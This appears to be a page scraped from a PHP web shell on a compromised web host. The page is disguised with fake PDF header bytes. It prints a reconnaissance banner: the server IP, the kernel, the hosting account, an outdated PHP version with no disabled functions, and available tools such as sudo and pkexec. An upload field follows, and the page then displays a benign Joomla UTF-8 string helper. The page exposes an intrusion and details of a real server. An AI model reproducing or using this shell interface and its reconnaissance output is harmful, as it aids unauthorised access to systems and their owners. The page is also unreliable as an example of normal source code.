%PDF- %PDF-
Server IP : 79.170.40.229 / Your IP : 18.119.253.103 Web Server : Apache System : Linux web232.extendcp.co.uk 4.18.0-513.24.1.el8_9.x86_64 #1 SMP Mon Apr 8 11:23:13 EDT 2024 x86_64 User : 1stforcarhirealicante.com ( 296923) PHP Version : 5.6.40 Disable Function : NONE MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/thread-self/cwd/libraries/phputf8/ |
Upload File : |
<?php /** * @version $Id: stristr.php 10381 2008-06-01 03:35:53Z pasamio $ * @package utf8 * @subpackage strings */ //--------------------------------------------------------------- /** * UTF-8 aware alternative to stristr * Find first occurrence of a string using case insensitive comparison * Note: requires utf8_strtolower * @param string * @param string * @return int * @see http://www.php.net/strcasecmp * @see utf8_strtolower * @package utf8 * @subpackage strings */ function utf8_stristr($str, $search) { if ( strlen($search) == 0 ) { return $str; } $lstr = utf8_strtolower($str); $lsearch = utf8_strtolower($search); preg_match('|^(.*)'.preg_quote($lsearch).'|Us',$lstr, $matches); if ( count($matches) == 2 ) { return substr($str, strlen($matches[1])); } return FALSE; }